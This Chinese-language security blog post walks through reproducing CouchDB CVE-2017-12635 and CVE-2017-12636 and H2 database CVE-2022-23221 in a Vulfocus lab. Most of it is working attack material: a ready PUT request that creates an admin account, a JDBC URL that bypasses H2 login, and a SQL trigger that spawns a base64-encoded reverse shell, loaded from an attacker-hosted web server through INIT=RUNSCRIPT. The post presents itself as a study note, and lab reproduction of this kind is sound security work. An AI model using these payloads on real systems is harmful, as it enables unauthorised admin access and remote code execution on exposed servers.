Couchdb-許可權繞過--命令執行--(CVE-2017-12635)&&(CVE-2017-12636)--H2database命令執行--(CVE-2022-23221)
環境概述
採用Vulfocus靶場環境進行復現,搭建操作和文章參考具體搭建教程參考vulfocus不能同步的解決方法/vulfocus同步失敗。
Couchdb CVE-2017-12635許可權繞過
漏洞概述
Apache CouchDB是一個開源資料庫,專注於易用性和成為"完全擁抱web的資料庫"。它是一個使用JSON作為儲存格式,JavaScript作為查詢語言,MapReduce和HTTP作為API的NoSQL資料庫。應用廣泛,如BBC用在其動態內容展示平臺,Credit Suisse用在其內部的商品部門的市場框架,Meebo,用在其社交平臺(web和應用程式)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露利用。
預設埠
5984埠
影響範圍
小於 1.7.0 以及 小於 2.1.1
漏洞復現
將Vulfocus靶場環境啟動後,根據對映埠號進行訪問
訪問成功後顯示出版本號
訪問登入介面抓包進行測試
訪問地址
/_utils/#login
抓包將請求方法修改為PUT方法,在請求資料包後面新增json資料
POC
PUT /_users/org.couchdb.user:hack HTTP/1.1
Host: IP地址加埠
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "hack",
"roles": ["_admin"],
"roles": [],
"password": "hack"
}
對應位置修改想要建立的使用者及密碼即可
使用建立的使用者名稱和密碼嘗試登入,成功登入即漏洞利用成功
Couchdb CVE-2017-12636 命令執行
預設埠
5984埠
影響範圍
小於 1.7.0 以及 小於 2.1.1
漏洞利用
這個漏洞利用需要建立在具有使用者許可權之上,可以利用CVE-2017-12635漏洞新增資料庫使用者後進行命令執行
環境啟動後直接下載EXP,修改EXP的目標地址的埠號以及目標資料庫版本即可
下載地址參考 CVE-2017-12636/exp.py
將EXP中所執行的命令目標以及資料庫版本修改即可
H2database CVE-2022-23221 命令執行
漏洞概述
Java SQL 資料庫 H2,H2的主要特點是:非常快,開源,JDBC API;嵌入式和伺服器模式;記憶體資料庫;基於瀏覽器的控制檯應用程式。H2 資料庫控制檯中的另一個未經身份驗證的 RCE 漏洞,在v2.1.210+中修復。2.1.210 之前的H2控制檯允許遠端攻擊者透過包含子字串的jdbc:h2:mem JDBC URL執行任意程式碼。
影響範圍
Spring Boot + H2
spring.h2.console.enabled=true
JDK < 6u201、7u191、8u182、11.0.1(LDAP)
預設埠
20051埠
漏洞利用
環境啟動後訪問得到如下介面
- 未授權進入:
- 將如下命令放入JDBC URL即可直接進入資料庫
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
- 命令執行
- 首先建立sql檔案,將sql檔案放入伺服器中,這裡我使用python啟用web服務,將sql檔案放入家目錄中
CREATE TABLE test (
id INT NOT NULL
);
CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反彈shell指令}|{base64,-d}|{bash,-i}");';
- 啟用web服務
python3 -m http.server 埠
- 使目標資料庫載入遠端sql檔案
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:埠/h2database.sql';\
以上內容僅作學習記錄,如有錯誤或瑕疵,歡迎批評指正,感謝閱讀。